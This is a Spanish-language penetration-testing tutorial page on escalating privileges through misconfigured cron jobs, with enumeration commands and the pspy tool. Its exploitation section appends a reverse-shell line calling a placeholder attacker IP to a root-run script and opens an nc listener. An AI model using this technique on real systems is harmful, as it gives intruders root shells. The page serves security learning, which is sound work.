> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/docs/escalada-de-privilegios/tareas-cron.md).

# Tareas Cron

## Introducción

Una **tarea cron** es un proceso programado que se ejecuta automáticamente en segundo plano en sistemas Unix/Linux. Estas tareas son gestionadas por el **demonio `cron`** y se utilizan comúnmente para ejecutar scripts de mantenimiento, copias de seguridad, monitoreos, etc.

Sin embargo, **una mala configuración de las tareas cron** puede derivar en **escaladas de privilegios**, especialmente si se ejecutan con privilegios elevados (como root) y los archivos o scripts involucrados son modificables por usuarios no privilegiados.

***

## ¿Cómo identificar tareas cron vulnerables?

#### 1. Revisar tareas cron del sistema

Para ver tareas cron del sistema global:

```bash
cat /etc/crontab
```

Salida típica:

```bash
*/5 * * * * root /usr/local/bin/backup.sh
```

Esto indica que el script `backup.sh` se ejecuta cada 5 minutos como **root**.

También puedes revisar:

```bash
ls -la /etc/cron.*
```

Y tareas específicas de usuarios:

```bash
crontab -l
```

***

## ¿Qué buscar?

* Archivos de scripts con permisos de escritura para usuarios no privilegiados:

```bash
ls -l /usr/local/bin/backup.sh
```

Si la salida es algo como:

```bash
-rwxrwxrwx 1 root root 234 abr 10 10:00 /usr/local/bin/backup.sh
```

Podemos modificar el script que ejecuta root y **inyectar comandos maliciosos** para escalar privilegios.

***

## Herramienta: `pspy`

`pspy` es una herramienta increíble que permite detectar procesos ejecutados por cron u otros demonios **sin necesidad de ser root** y **sin depender de logs**.

#### 📦 Instalación

Puedes descargar el binario desde el GitHub oficial:\
👉 <https://github.com/DominicBreuker/pspy>

```bash
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
```

Mientras `pspy` está en ejecución, espera unos minutos y verás tareas cron ejecutándose. Ejemplo:

```
2025/04/10 10:10:00 CMD: UID=0    PID=1234   | /usr/local/bin/backup.sh
```

***

## Explotación práctica

Supongamos que identificamos que `backup.sh` se ejecuta como root y nosotros tenemos permisos de escritura sobre él:

```bash
echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> /usr/local/bin/backup.sh
```

Luego abrimos un listener en nuestra máquina:

```bash
nc -lvnp 4444
```

Cuando la tarea cron se dispare (según la periodicidad), obtendremos una **reverse shell como root**.

***

## Alternativas de explotación

Si en vez del script, el cron ejecuta algo como:

```bash
*/2 * * * * root python3 /opt/scripts/task.py
```

Y el script importa una librería como `utils.py`, podemos hacer **library hijacking** si esa librería está en un path controlado por nosotros (similar al Library Hijacking que ya vimos).

***

## Más Información

* [pspy – GitHub](https://github.com/DominicBreuker/pspy)
* [DonDomino - Tareas Cron](https://www.dondominio.com/es/help/252/que-son-las-tareas-cron/)
